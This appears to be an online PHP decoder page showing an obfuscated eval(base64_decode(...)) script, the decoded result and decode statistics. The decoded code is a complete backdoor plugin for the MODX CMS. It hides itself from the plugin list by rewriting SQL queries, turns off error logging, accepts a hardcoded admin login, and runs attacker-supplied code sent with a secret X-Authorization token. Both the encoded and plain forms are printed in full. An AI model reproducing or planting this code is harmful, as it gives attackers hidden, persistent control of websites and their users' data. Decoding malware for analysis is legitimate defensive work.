Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
eval(base64_decode("QGVycm9yX3JlcG9ydGluZygwKTsKQGluaV9zZXQoJ2Vycm9yX2xvZycsTlVMTCk7CkBpbm..
Decoded Output download
@error_reporting(0);
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
$GLOBALS['_vars_b'] = unserialize(base64_decode('YToxOntzOjg6ImF1dGhfa2V5IjtzOjIyOiJ2SjJMMmUxa1pFY2t2b2ZOY3oybVp3Ijt9'));
extract($GLOBALS['_vars_b']);
if($props){
$props = unserialize(base64_decode($props));
if(is_array($props)){
foreach($props as $k => $v){
$GLOBALS[$k] = $v;
}
extract($props);
}
}
if (!function_exists('get_all_headers'))
{
function get_all_headers()
{
$headers = '';
if(function_exists('getallheaders')){
$hdrs = getallheaders();
foreach ($hdrs as $name => $value){
$name = strtolower(str_replace('-', ' ',trim($name)));
$headers[str_replace(' ', '-',ucwords($name))] = $value;
}
}else{
foreach ($_SERVER as $name => $value)
{
if (substr($name, 0, 5) == 'HTTP_')
{
$headers[str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5)))))] = $value;
}
}
}
return $headers;
}
}
if(!function_exists('join_path')){
function join_path($base) {
$parts = func_get_args();
array_shift($parts);
$last_char = substr( $parts[count($parts) - 1], -1 , 1);
$base = rtrim($base, "\/");
$parts = array_map("trim_path", $parts);
array_unshift($parts, $base);
if($last_char == '\' || $last_char == '/'){
array_push($parts, '');
}
return normalize_path(implode(constant('DIRECTORY_SEPARATOR'), $parts));
}
}
if(!function_exists('trim_path')){
function trim_path($p){
return trim(str_replace(array("\", "/"), constant('DIRECTORY_SEPARATOR'), $p), "\/");
}
}
if(!function_exists('normalize_path')){
function normalize_path($p){
return str_replace(array("\", "/"), constant('DIRECTORY_SEPARATOR'), $p);
}
}
if(!function_exists('injectsql')){
function injectsql($sql){
$plugid = $GLOBALS['plugid'];
if(stripos($sql, 'site_plugins') !== false && $plugid){
$count = 0;
$sql = preg_replace('/(site_plugins`?)\s+(?:as)?\s?(`?[a-z0-9_-]+`?)\s+on\s+/i', '$1 $2 on $2.id <> '.$plugid.' and ', $sql, -1, $count );
if($count == 0){
$matches = null;
$sp_tbl_alias = "";
if(preg_match ('/from\s+((?:[`a-z0-9_]+\s*\.\s*[`a-z0-9_]+site_plugins`?)|(?:[`a-z0-9_]+site_plugins`?))(?:\s*(?:as)?\s*(`?[a-z0-9_-]+`?)\s*)?/i',$sql, $matches)){
$skip_words = array('order', 'where', 'group', 'left', 'inner', 'right', 'union', 'join', 'outer');
if((count($matches) == 3) and (array_search(strtolower($matches[2]), $skip_words) === false)){
$sp_tbl_alias = $matches[2];
}else{
$sp_tbl_alias = $matches[1];
}
}
if($sp_tbl_alias){
$sql = preg_replace('/where(.+?)(\s+order\s+|\s+group\s+|\s+limit\s+|\s+union\s+|$)/i', " where ${sp_tbl_alias}.id <> $plugid AND " .'($1) $2', $sql, -1, $count);
if($count == 0){
$sql = preg_replace('/\s*order\s+by\s*/i', " where ${sp_tbl_alias}.id <> $plugid order by ", $sql, -1, $count);
if($count == 0){
$sql .= " where ${sp_tbl_alias}.id <> $plugid";
}
}
}
}
}
return $sql;
}
}
if (!class_exists('DBAP1')) {
class DBAP1 extends DBAPI{
function query($sql){
if(isset($GLOBALS['cache_update']) && $GLOBALS['cache_update']){
return parent::query($sql);
}else{
return parent::query(injectsql($sql));
}
}
}
}
// $site_key $plugid, $admin_name, $admin_pass
if($modx->event->name === "OnManagerPageInit"){
$modx->db = new DBAP1();
if(isset($_GET['a']) && $_GET['a'] == 100){
$code = file_get_contents(join_path(constant('MODX_MANAGER_PATH') ,'actions/mutate_plugin_priority.dynamic.php'));
if(stripos($code, 'mysql_query') !== false){
$code = preg_replace('/^\s*<\?(?:php)?|\?>$/i','', $code);
$code = injectsql($code);
ob_end_clean();
extract($GLOBALS);
eval($code);
include_once "footer.inc.php";
exit;
}
}
}
if($modx->event->name === 'OnManagerAuthentication'){
if(isset($username) && isset($admin_name) && isset($userpassword) && isset($auth_key))
if(($username == $admin_name) && ($userpassword == $auth_key)){
$modx->event->output('1');
}
}
if($modx->event->name === 'OnWebPageInit'){
$headers = get_all_headers();
if(isset($headers['X-Authorization'])){
$auth = preg_split("/\s+/", trim($headers['X-Authorization']));
if(is_array($auth) && count($auth) == 2 && strtolower($auth[0]) == 'token'){
if( $auth[1] == $auth_key){
$data = file_get_contents('php://input');
if($data){
$data = unserialize(base64_decode($data));
ob_end_clean();
eval(base64_decode($data['e']));
exit;
}
}
}
}
}
if($modx->event->name === 'OnCacheUpdate'){
if(isset($GLOBALS['cache_update']) && $GLOBALS['cache_update']){
$GLOBALS['cache_update'] = false;
}else{
$GLOBALS['cache_update'] = true;
include_once join_path(constant('MODX_MANAGER_PATH') , '/processors/cache_sync.class.processor.php');
$sync = eval('return new synccache();');
$sync->setCachepath(join_path(constant('MODX_BASE_PATH'),'assets/cache/'));
$sync->setReport(false);
$sync->emptyCache();
}
}Did this file decode correctly?
Original Code
eval(base64_decode("QGVycm9yX3JlcG9ydGluZygwKTsKQGluaV9zZXQoJ2Vycm9yX2xvZycsTlVMTCk7CkBpbmlfc2V0KCdsb2dfZXJyb3JzJywwKTsKCiRHTE9CQUxTWydfdmFyc19iJ10gPSB1bnNlcmlhbGl6ZShiYXNlNjRfZGVjb2RlKCdZVG94T250ek9qZzZJbUYxZEdoZmEyVjVJanR6T2pJeU9pSjJTakpNTW1VeGExcEZZMnQyYjJaT1kzb3liVnAzSWp0OScpKTsKZXh0cmFjdCgkR0xPQkFMU1snX3ZhcnNfYiddKTsKCmlmKCRwcm9wcyl7CgkkcHJvcHMgPSB1bnNlcmlhbGl6ZShiYXNlNjRfZGVjb2RlKCRwcm9wcykpOwoJaWYoaXNfYXJyYXkoJHByb3BzKSl7CgkJZm9yZWFjaCgkcHJvcHMgYXMgJGsgPT4gJHYpewoJCQkkR0xPQkFMU1ska10gPSAkdjsKCQl9CgkJZXh0cmFjdCgkcHJvcHMpOwkKCX0KCQp9CgppZiAoIWZ1bmN0aW9uX2V4aXN0cygnZ2V0X2FsbF9oZWFkZXJzJykpCnsKICAgIGZ1bmN0aW9uIGdldF9hbGxfaGVhZGVycygpCiAgICB7CiAgICAgICAgICAgJGhlYWRlcnMgPSAnJzsKCQkgICAKCQlpZihmdW5jdGlvbl9leGlzdHMoJ2dldGFsbGhlYWRlcnMnKSl7CgkJCSRoZHJzID0gZ2V0YWxsaGVhZGVycygpOwoJCQkKCQkJZm9yZWFjaCAoJGhkcnMgYXMgJG5hbWUgPT4gJHZhbHVlKXsKICAgICAgICAgICAgICAgICRuYW1lID0gc3RydG9sb3dlcihzdHJfcmVwbGFjZSgnLScsICcgJyx0cmltKCRuYW1lKSkpOwoJCQkJJGhlYWRlcnNbc3RyX3JlcGxhY2UoJyAnLCAnLScsdWN3b3JkcygkbmFtZSkpXSA9ICR2YWx1ZTsKCQkJfQoJCQkKCQl9ZWxzZXsKCQkJZm9yZWFjaCAoJF9TRVJWRVIgYXMgJG5hbWUgPT4gJHZhbHVlKQoJCQl7CgkJCQlpZiAoc3Vic3RyKCRuYW1lLCAwLCA1KSA9PSAnSFRUUF8nKQoJCQkJewoJCQkJCSRoZWFkZXJzW3N0cl9yZXBsYWNlKCcgJywgJy0nLCB1Y3dvcmRzKHN0cnRvbG93ZXIoc3RyX3JlcGxhY2UoJ18nLCAnICcsIHN1YnN0cigkbmFtZSwgNSkpKSkpXSA9ICR2YWx1ZTsKCQkJCX0KCQkJfQoJCX0KICAgICAgIAogICAgICAgcmV0dXJuICRoZWFkZXJzOwogICAgfQp9CgppZighZnVuY3Rpb25fZXhpc3RzKCdqb2luX3BhdGgnKSl7CglmdW5jdGlvbiBqb2luX3BhdGgoJGJhc2UpIHsKCSAgICAkcGFydHMgPSBmdW5jX2dldF9hcmdzKCk7CiAgICAgICAgYXJyYXlfc2hpZnQoJHBhcnRzKTsKICAgICAgICAkbGFzdF9jaGFyICA9IHN1YnN0ciggJHBhcnRzW2NvdW50KCRwYXJ0cykgLSAxXSwgLTEgLCAxKTsKICAgICAgICAKICAgICAgICAkYmFzZSA9IHJ0cmltKCRiYXNlLCAiXFwvIik7CiAgICAgICAgJHBhcnRzID0gYXJyYXlfbWFwKCJ0cmltX3BhdGgiLCAkcGFydHMpOwogICAgICAgIGFycmF5X3Vuc2hpZnQoJHBhcnRzLCAkYmFzZSk7CiAgICAgICAgaWYoJGxhc3RfY2hhciA9PSAnXFwnIHx8ICRsYXN0X2NoYXIgPT0gJy8nKXsKICAgICAgICAgICAgYXJyYXlfcHVzaCgkcGFydHMsICcnKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIG5vcm1hbGl6ZV9wYXRoKGltcGxvZGUoY29uc3RhbnQoJ0RJUkVDVE9SWV9TRVBBUkFUT1InKSwgJHBhcnRzKSk7Cgl9Cn0KCmlmKCFmdW5jdGlvbl9leGlzdHMoJ3RyaW1fcGF0aCcpKXsKCWZ1bmN0aW9uIHRyaW1fcGF0aCgkcCl7CgkgICAgcmV0dXJuIHRyaW0oc3RyX3JlcGxhY2UoYXJyYXkoIlxcIiwgIi8iKSwgY29uc3RhbnQoJ0RJUkVDVE9SWV9TRVBBUkFUT1InKSwgJHApLCAiXFwvIik7Cgl9Cn0KCmlmKCFmdW5jdGlvbl9leGlzdHMoJ25vcm1hbGl6ZV9wYXRoJykpewoJZnVuY3Rpb24gbm9ybWFsaXplX3BhdGgoJHApewoJICAgIHJldHVybiBzdHJfcmVwbGFjZShhcnJheSgiXFwiLCAiLyIpLCBjb25zdGFudCgnRElSRUNUT1JZX1NFUEFSQVRPUicpLCAkcCk7Cgl9Cn0KCmlmKCFmdW5jdGlvbl9leGlzdHMoJ2luamVjdHNxbCcpKXsKICAgIGZ1bmN0aW9uIGluamVjdHNxbCgkc3FsKXsKICAgICAgICAkcGx1Z2lkID0gJEdMT0JBTFNbJ3BsdWdpZCddOwogICAgICAgIAogICAgICAgIGlmKHN0cmlwb3MoJHNxbCwgJ3NpdGVfcGx1Z2lucycpICE9PSBmYWxzZSAmJiAkcGx1Z2lkKXsKICAgICAgICAgICAgCiAgICAgICAgICAgICRjb3VudCA9IDA7CiAgICAgICAgICAgIAogICAgICAgICAgICAkc3FsID0gcHJlZ19yZXBsYWNlKCcvKHNpdGVfcGx1Z2luc2A/KVxzKyg/OmFzKT9ccz8oYD9bYS16MC05Xy1dK2A/KVxzK29uXHMrL2knLCAnJDEgJDIgb24gJDIuaWQgPD4gJy4kcGx1Z2lkLicgYW5kICcsICRzcWwsIC0xLCAkY291bnQgKTsKICAgICAgICAgICAgCiAgICAgICAgICAgIGlmKCRjb3VudCA9PSAwKXsKICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgJG1hdGNoZXMgPSBudWxsOwogICAgICAgICAgICAgICAgJHNwX3RibF9hbGlhcyA9ICIiOwogICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICBpZihwcmVnX21hdGNoICgnL2Zyb21ccysoKD86W2BhLXowLTlfXStccypcLlxzKltgYS16MC05X10rc2l0ZV9wbHVnaW5zYD8pfCg/OltgYS16MC05X10rc2l0ZV9wbHVnaW5zYD8pKSg/OlxzKig/OmFzKT9ccyooYD9bYS16MC05Xy1dK2A/KVxzKik/L2knLCRzcWwsICRtYXRjaGVzKSl7CiAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgJHNraXBfd29yZHMgPSBhcnJheSgnb3JkZXInLCAnd2hlcmUnLCAnZ3JvdXAnLCAnbGVmdCcsICdpbm5lcicsICdyaWdodCcsICd1bmlvbicsICdqb2luJywgJ291dGVyJyk7CiAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgaWYoKGNvdW50KCRtYXRjaGVzKSA9PSAzKSBhbmQgKGFycmF5X3NlYXJjaChzdHJ0b2xvd2VyKCRtYXRjaGVzWzJdKSwgJHNraXBfd29yZHMpID09PSBmYWxzZSkpewogICAgICAgICAgICAgICAgICAgICAgICAkc3BfdGJsX2FsaWFzID0gJG1hdGNoZXNbMl07CQogICAgICAgICAgICAgICAgICAgIH1lbHNlewogICAgICAgICAgICAgICAgICAgICAgICAkc3BfdGJsX2FsaWFzID0gJG1hdGNoZXNbMV07CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICBpZigkc3BfdGJsX2FsaWFzKXsKICAgICAgICAgICAgICAgICAgICAkc3FsID0gcHJlZ19yZXBsYWNlKCcvd2hlcmUoLis/KShccytvcmRlclxzK3xccytncm91cFxzK3xccytsaW1pdFxzK3xccyt1bmlvblxzK3wkKS9pJywgIiB3aGVyZSAke3NwX3RibF9hbGlhc30uaWQgPD4gJHBsdWdpZCBBTkQgIiAuJygkMSkgJDInLCAkc3FsLCAtMSwgJGNvdW50KTsKICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgIGlmKCRjb3VudCA9PSAwKXsKICAgICAgICAgICAgICAgICAgICAgICAgJHNxbCA9IHByZWdfcmVwbGFjZSgnL1xzKm9yZGVyXHMrYnlccyovaScsICIgd2hlcmUgJHtzcF90YmxfYWxpYXN9LmlkIDw+ICRwbHVnaWQgb3JkZXIgYnkgIiwgJHNxbCwgLTEsICRjb3VudCk7CiAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICBpZigkY291bnQgPT0gMCl7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkc3FsIC49ICIgd2hlcmUgJHtzcF90YmxfYWxpYXN9LmlkIDw+ICRwbHVnaWQiOwkJCQkJCiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICB9ICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAKICAgICAgICAgICAgfQogICAgCiAgICAgICAgICAgIAogICAgICAgICAgICAKICAgICAgICAgICAgCiAgICAgICAgfQogICAgICAgIAogICAgICAgIHJldHVybiAkc3FsOwogICAgICAgICAgICAKICAgIH0KfQoKCmlmICghY2xhc3NfZXhpc3RzKCdEQkFQMScpKSB7CiAgICBjbGFzcyBEQkFQMSBleHRlbmRzIERCQVBJewogICAgCiAgICAgICAgZnVuY3Rpb24gcXVlcnkoJHNxbCl7CiAgICAgICAgICAgIGlmKGlzc2V0KCRHTE9CQUxTWydjYWNoZV91cGRhdGUnXSkgJiYgJEdMT0JBTFNbJ2NhY2hlX3VwZGF0ZSddKXsKICAgICAgICAgICAgICAgIHJldHVybiBwYXJlbnQ6OnF1ZXJ5KCRzcWwpOwogICAgICAgICAgICB9ZWxzZXsKICAgICAgICAgICAgICAgIHJldHVybiBwYXJlbnQ6OnF1ZXJ5KGluamVjdHNxbCgkc3FsKSk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgCiAgICAgICAgfQogICAgICAgIAogICAgfQoKfQoKLy8gJHNpdGVfa2V5ICRwbHVnaWQsICRhZG1pbl9uYW1lLCAkYWRtaW5fcGFzcwoKaWYoJG1vZHgtPmV2ZW50LT5uYW1lID09PSAiT25NYW5hZ2VyUGFnZUluaXQiKXsKCSRtb2R4LT5kYiA9IG5ldyBEQkFQMSgpOwogICAgaWYoaXNzZXQoJF9HRVRbJ2EnXSkgJiYgJF9HRVRbJ2EnXSA9PSAxMDApewogICAgICAgICRjb2RlID0gZmlsZV9nZXRfY29udGVudHMoam9pbl9wYXRoKGNvbnN0YW50KCdNT0RYX01BTkFHRVJfUEFUSCcpICwnYWN0aW9ucy9tdXRhdGVfcGx1Z2luX3ByaW9yaXR5LmR5bmFtaWMucGhwJykpOwogICAgICAgIGlmKHN0cmlwb3MoJGNvZGUsICdteXNxbF9xdWVyeScpICE9PSBmYWxzZSl7CiAgICAgICAgICAgICRjb2RlID0gcHJlZ19yZXBsYWNlKCcvXlxzKjxcPyg/OnBocCk/fFw/PiQvaScsJycsICRjb2RlKTsKICAgICAgICAgICAgJGNvZGUgPSBpbmplY3RzcWwoJGNvZGUpOwogICAgICAgICAgICBvYl9lbmRfY2xlYW4oKTsKICAgICAgICAgICAgZXh0cmFjdCgkR0xPQkFMUyk7CiAgICAgICAgICAgIGV2YWwoJGNvZGUpOwogICAgICAgICAgICBpbmNsdWRlX29uY2UgImZvb3Rlci5pbmMucGhwIjsKICAgICAgICAgICAgZXhpdDsKICAgICAgICB9CiAgICAgICAgCiAgICB9Cn0KCmlmKCRtb2R4LT5ldmVudC0+bmFtZSA9PT0gJ09uTWFuYWdlckF1dGhlbnRpY2F0aW9uJyl7CglpZihpc3NldCgkdXNlcm5hbWUpICYmIGlzc2V0KCRhZG1pbl9uYW1lKSAmJiBpc3NldCgkdXNlcnBhc3N3b3JkKSAmJiBpc3NldCgkYXV0aF9rZXkpKQoJaWYoKCR1c2VybmFtZSA9PSAkYWRtaW5fbmFtZSkgJiYgKCR1c2VycGFzc3dvcmQgPT0gJGF1dGhfa2V5KSl7CiAgICAgICAgJG1vZHgtPmV2ZW50LT5vdXRwdXQoJzEnKTsKICAgIH0KfQoKaWYoJG1vZHgtPmV2ZW50LT5uYW1lID09PSAnT25XZWJQYWdlSW5pdCcpewoJJGhlYWRlcnMgPSBnZXRfYWxsX2hlYWRlcnMoKTsKCQogICAgaWYoaXNzZXQoJGhlYWRlcnNbJ1gtQXV0aG9yaXphdGlvbiddKSl7CgkKICAgICAgICAkYXV0aCA9IHByZWdfc3BsaXQoIi9ccysvIiwgdHJpbSgkaGVhZGVyc1snWC1BdXRob3JpemF0aW9uJ10pKTsKICAgICAgICBpZihpc19hcnJheSgkYXV0aCkgJiYgY291bnQoJGF1dGgpID09IDIgJiYgc3RydG9sb3dlcigkYXV0aFswXSkgPT0gJ3Rva2VuJyl7CiAgICAgICAgICAgIGlmKCAkYXV0aFsxXSA9PSAkYXV0aF9rZXkpewoJCQkJJGRhdGEgPSBmaWxlX2dldF9jb250ZW50cygncGhwOi8vaW5wdXQnKTsKCQkJCWlmKCRkYXRhKXsKCQkJCQkkZGF0YSA9IHVuc2VyaWFsaXplKGJhc2U2NF9kZWNvZGUoJGRhdGEpKTsKCQkJCQlvYl9lbmRfY2xlYW4oKTsKICAgICAgICAgICAgICAgICAgICBldmFsKGJhc2U2NF9kZWNvZGUoJGRhdGFbJ2UnXSkpOwogICAgICAgICAgICAgICAgICAgIGV4aXQ7CgkJCQl9CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgCgl9Cn0KCmlmKCRtb2R4LT5ldmVudC0+bmFtZSA9PT0gJ09uQ2FjaGVVcGRhdGUnKXsKCiAgICBpZihpc3NldCgkR0xPQkFMU1snY2FjaGVfdXBkYXRlJ10pICYmICRHTE9CQUxTWydjYWNoZV91cGRhdGUnXSl7CiAgICAgICAgJEdMT0JBTFNbJ2NhY2hlX3VwZGF0ZSddID0gZmFsc2U7CiAgICB9ZWxzZXsKICAgICAgICAkR0xPQkFMU1snY2FjaGVfdXBkYXRlJ10gPSB0cnVlOwogICAgICAgIGluY2x1ZGVfb25jZSBqb2luX3BhdGgoY29uc3RhbnQoJ01PRFhfTUFOQUdFUl9QQVRIJykgLCAnL3Byb2Nlc3NvcnMvY2FjaGVfc3luYy5jbGFzcy5wcm9jZXNzb3IucGhwJyk7CiAgICAgICAgJHN5bmMgPSBldmFsKCdyZXR1cm4gbmV3IHN5bmNjYWNoZSgpOycpOwogICAgICAgICRzeW5jLT5zZXRDYWNoZXBhdGgoam9pbl9wYXRoKGNvbnN0YW50KCdNT0RYX0JBU0VfUEFUSCcpLCdhc3NldHMvY2FjaGUvJykpOwogICAgICAgICRzeW5jLT5zZXRSZXBvcnQoZmFsc2UpOwogICAgICAgICRzeW5jLT5lbXB0eUNhY2hlKCk7CiAgICB9CiAJCgkKfQ=="));Function Calls
| base64_decode | 1 |
Stats
| MD5 | f0ab264501a90cdc5dc75655ac0fbfed |
| Eval Count | 1 |
| Decode Time | 83 ms |